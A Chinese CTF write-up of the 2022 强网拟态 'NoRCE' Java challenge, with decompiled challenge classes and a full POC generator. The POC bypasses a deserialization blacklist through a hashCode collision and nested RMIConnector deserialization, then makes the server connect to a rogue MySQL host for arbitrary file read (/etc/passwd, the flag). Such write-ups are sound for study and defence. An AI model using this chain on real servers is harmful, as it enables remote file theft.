从一道题认识jdbc任意读文件和RMIConnector触发二次反序列化 — 2022强网拟态NoRCE

从一道题认识jdbc任意读文件和RMIConnector触发二次反序列化 -- 2022强网拟态NoRCE

image-20221107004024949

查看依赖看到只有除了Spring之外只有一个5.0.3的mysql-connector-java, 所以应该就不是直接打纯原生链了, 再看com.example.demo.utils.MyObjectInputStream中对反序列化类的过滤, 禁止了下面的类序列化:

  1. com.example.demo.bean.Connect (题目给的)
  2. java.security.* (二次反序列化触发)
  3. java.rmi.* (远程加载)

image-20221107003753712

文件结构如下:

image-20221106214224755

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.demo;

import com.example.demo.utils.MyObjectInputStream;
import com.example.demo.utils.tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
    public IndexController() {
    }

    @ResponseBody
    @RequestMapping({"/"})
    public String index() {
        return "wuwuwuwuwuwuwuwu~~~~~~~~~~~~";
    }

    @ResponseBody
    @RequestMapping({"/read"})
    public String readObject(@RequestParam(name = "data",required = true) String data) throws Exception {
        System.out.println(data);
        byte[] bytes = tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new MyObjectInputStream(inputStream);
        String secret = data.substring(0, 6);
        String key = objectInputStream.readUTF();
        System.out.println(secret);
        System.out.println(key);
        if (key.hashCode() == secret.hashCode() && !secret.equals(key)) {
            objectInputStream.readObject();
            return "oops";
        } else {
            return "incorrect key";
        }
    }
}

控制器会读取data参数进行base64解码然后使用readUTF从对象输入流中读取字符, 并且检测查看它的hashcode是否和data的前6个字符串的hashcode相等而字符串本身不相等(hashcode碰撞,这里直接使用qn0ABX即可, data数据为序列化数据的base64编码, 在没有添加脏数据默认情况前6个字符就是rO0ABX )。

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.demo.utils;

import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.HashSet;
import java.util.Set;

public class MyObjectInputStream extends ObjectInputStream {
    public Set blacklist = new HashSet() {
        {
            this.add("com.example.demo.bean.Connect");
        }
    };

    public MyObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    protected Class<?> resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
        if (!this.blacklist.contains(cls.getName()) && !cls.getName().matches("java\\.security.*") && !cls.getName().matches("java\\.rmi.*")) {
            return super.resolveClass(cls);
        } else {
            throw new InvalidClassException("Unexpected serialized class", cls.getName());
        }
    }
}

怎样成功反序列化的问题解决了, 那么接下来就找怎么反序列化了。正常直接反序列化的话会受到上面所说的三个类的限制, 首先我们看一下依赖, 除了Spring自带的之外只有一个5.0.3的mysql-connector-java, 相关的就是jdbc连接加载了, 那么怎么触发漏洞其实在MyBean这个类里面就有间接的提示了, 里面的toString就是反序列化常见的触发点了, 而在com.example.demo.bean.MyBean#toString里面掉用了com.example.demo.bean.MyBean#getConnect,它会调用一个JMXConnector的connetct函数。

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.demo.bean;

import java.io.IOException;
import java.io.Serializable;
import javax.management.remote.JMXConnector;

public class MyBean implements Serializable {
    private Object url;
    private Object message;
    private JMXConnector conn;

    public MyBean() {
    }

    public MyBean(Object url, Object message) {
        this.url = url;
        this.message = message;
    }

    public MyBean(Object url, Object message, JMXConnector conn) {
        this.url = url;
        this.message = message;
        this.conn = conn;
    }

    public String getConnect() throws IOException {
        try {
            this.conn.connect();
            return "success";
        } catch (IOException var2) {
            return "fail";
        }
    }

    public void connect() {
    }

    public String toString() {
        try {
            return "MyBean{url=" + this.url + ", message=" + this.message + this.getConnect() + '}';
        } catch (IOException var2) {
            var2.printStackTrace();
            return "MyBean{url=" + this.url + ", message=" + this.message + ",state=fail" + '}';
        }
    }

    public Object getMessage() {
        return this.message;
    }

    public void setMessage(Object message) {
        this.message = message;
    }

    public Object getUrl() {
        return this.url;
    }

    public void setUrl(Object url) {
        this.url = url;
    }
}

上面说了com.example.demo.bean.MyBean#toString会触发JMXConnector#connect, 而题目自定义的类com.example.demo.bean.Connect就是JMXConnector的实现类, 里面也有connect函数, 这个函数会使用com.mysql.jdbc.Driver加载类内的url, 这里就是重点了, 这个加载我们将其设为jdbc:mysql://VPS:port/databaseName, 这时候就可以通过连接我们的恶意Mysql服务进行任意文件读取了

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.demo.bean;

import java.io.IOException;
import java.io.Serializable;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Map;
import javax.management.ListenerNotFoundException;
import javax.management.MBeanServerConnection;
import javax.management.NotificationFilter;
import javax.management.NotificationListener;
import javax.management.remote.JMXConnector;
import javax.security.auth.Subject;

public class Connect implements JMXConnector, Serializable {
    private String url;
    private String name;
    private String password;

    public Connect(String url, String name, String password) {
        this.url = url;
        this.name = name;
        this.password = password;
    }

    public String getUrl() {
        return this.url;
    }

    public void setUrl(String url) {
        this.url = url;
    }

    public String getName() {
        return this.name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getPassword() {
        return this.password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public void connect() throws IOException {
        String driver = "com.mysql.jdbc.Driver";

        try {
            Class.forName(driver);
        } catch (ClassNotFoundException var4) {
            var4.printStackTrace();
        }

        try {
            DriverManager.getConnection(this.url + this.name + this.password);
        } catch (SQLException var3) {
            var3.printStackTrace();
        }

    }

    public void connect(Map<String, ?> env) throws IOException {
    }
    public MBeanServerConnection getMBeanServerConnection() throws IOException {
        return null;
    }
    public MBeanServerConnection getMBeanServerConnection(Subject delegationSubject) throws IOException {
        return null;
    }

    public void close() throws IOException {
    }

    public void addConnectionNotificationListener(NotificationListener listener, NotificationFilter filter, Object handback) {
    }

    public void removeConnectionNotificationListener(NotificationListener listener) throws ListenerNotFoundException {
    }

    public void removeConnectionNotificationListener(NotificationListener l, NotificationFilter f, Object handback) throws ListenerNotFoundException {
    }

    public String getConnectionId() throws IOException {
        return null;
    }
}

但是前面我们说过com.example.demo.bean.Connect这个类是不被允许反序列化的, 那么怎么才能调用呢?

答案就是二次反序列化了, 但是常用的java.security也被ban了, 这时候就需要找到另一个触发二次反序列化的class了, 这里可以参考2022鹏城杯-Ez_Java[JavaDerserializeLabs-writeup](http://novic4.cn/), 使用RMIConnector(JMXConnector的唯一原生实现类)触发二次反序列化, 想要触发RMIConnector的二次反序列化功能就需要调用它的connect函数

所以, 这不就符合条件了?

  1. 需要二次反序列化绕过com.example.demo.bean.Connect的反序列化限制
  2. 可以通过RMIConnector#connect完成二次反序列化
  3. 题目中的MyBean#toString会触发一个JMXConnector属性的connect函数, RMIConnector是JMXConnector的实现类所以RMIConnector#connect也在可触发范围内

好的, 现在问题就来到了怎么触发MyBean#toString, 这个就可以用BadAttributeValueExpException触发一个对象的toSring(CC5中被使用)

所以总结下来就是:

  1. 使用BadAttributeValueExpException => MyBean#toString => RMIConnector#connect => 二次反序列化
  2. 二次反序列化的调用链:BadAttributeValueExpException => MyBean#toString => com.example.demo.bean.Connect#connect => com.mysql.jdbc.Driver#getConnection => 使用我们定义的jdbc链接去访问恶意Mysql服务 => 任意文件读取

恶意Mysql服务有很多个, 但是个人还是感觉rogue_mysql_server这个项目比较好用

先在本地运行rogue_mysql_server开启一个恶意的mysql服务, 然后通过二次反序列化让com.mysql.jdbc.Driver#getConnection连接jdbc:mysql://VPS:PORT/file:///?allowLoadLocalInfile=true&allowUrlInLocalInfile=true, 运行成功可以在rogue_mysql_server服务运行界面看到连接请求以及文件读取情况, 如果成功了的话默认会将文件的读取结果输出到./loot/连接服务的ip/时间戳_文件名里面

下面是生成触发payload的EXP::

package com.example.demo;

import com.example.demo.bean.Connect;
import com.example.demo.bean.MyBean;
import com.example.demo.utils.MyObjectInputStream;
import com.example.demo.utils.tools;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class POC {
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field valfield = obj.getClass().getDeclaredField(fieldName);
        valfield.setAccessible(true);
        valfield.set(obj,value);
    }
    public static byte[] serialize(final Object obj) throws IOException {
        final ByteArrayOutputStream out = new ByteArrayOutputStream();
        final ObjectOutputStream objOut = new ObjectOutputStream(out);
        // 序列化后的数据初始6位一般为 rO0ABX 所以writeUTF写入一个和rO0ABX同hashcode的字符串
        objOut.writeUTF("qn0ABX");
        objOut.writeObject(obj);
        return out.toByteArray();
    }
    public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        final ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }
    //首次反序列化, 使用RMIConnector#connect触发二次反序列化
    public static byte[] getTest(String message,RMIConnector rmiConnector) throws Exception {
        String url ="h0cksr::url";
        //String message = "h0cksr::message";
        MyBean myBean = new MyBean(url,message,rmiConnector);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val",myBean);
        byte[] ser = serialize(badAttributeValueExpException);
        //deserialize(ser);//执行反序列化检验能否成功触发
        return ser;
    }
    public static void main(String[] args) throws Exception {
        ByteArrayOutputStream tser = new ByteArrayOutputStream();
        ObjectOutputStream toser = new ObjectOutputStream(tser);
        toser.writeObject(getObject());
        toser.close();
//        获取到二次反序列化的base64数据, 后面会通过JMXServiceURL加载触发反序列化
        String exp= Base64.getEncoder().encodeToString(tser.toByteArray());
//        System.out.println("exp::"+exp);
        Map<String, Integer> map=new HashMap<>();
        RMIConnector rmiConnector=new RMIConnector(new JMXServiceURL("service:jmx:rmi://localhost:12345/stub/"+exp),map);
        int i=0;
        byte[] ser = getTest("message"+Integer.toString(i),rmiConnector);
        String data = Base64.getEncoder().encodeToString(ser);
        System.out.println( data);
//        下面代码用于检验数据是否满足题目的hashcode检验要求(可删掉)
        if(true){
            InputStream inputStream = new ByteArrayInputStream(ser);
            ObjectInputStream objectInputStream = new MyObjectInputStream(inputStream);
            String key = objectInputStream.readUTF();
            if(key.hashCode()==data.substring(0, 6).hashCode()){
                System.out.println("OK");
            }
            else System.out.println("Check Your readUTF data's hashCode");
        }
    }
    //被嵌套的二次反序列化对象
    public static Object getObject() throws Exception {
        // 这里修改为Mysql恶意服务Rogue-MySql-Server的ip和port
        String url ="jdbc:mysql://10.91.60.14:3306/file:///?allowLoadLocalInfile=true&allowUrlInLocalInfile=true";
        String name = "&user=root";
        String password = "&password=password";
        Connect connect = new Connect(url,name,password);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

        String message = "h0cksr::message";
        MyBean myBean = new MyBean(url,message,connect);
        setFieldValue(badAttributeValueExpException, "val",myBean);
        return badAttributeValueExpException;
    }
}

使用https://github.com/allyshka/Rogue-MySql-Server读取文件, 但是falg并不在/flag里面

image-20221106134934426

先是读取/etc/passwd成功, 但是读取/flag失败了

image-20221106135242976

通过读取file:///netdoc:///列根目录拿到flag位置

image-20221106135402797

读取flag

image-20221106135509562

2022_11_06 第十二周星期日 23:00

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇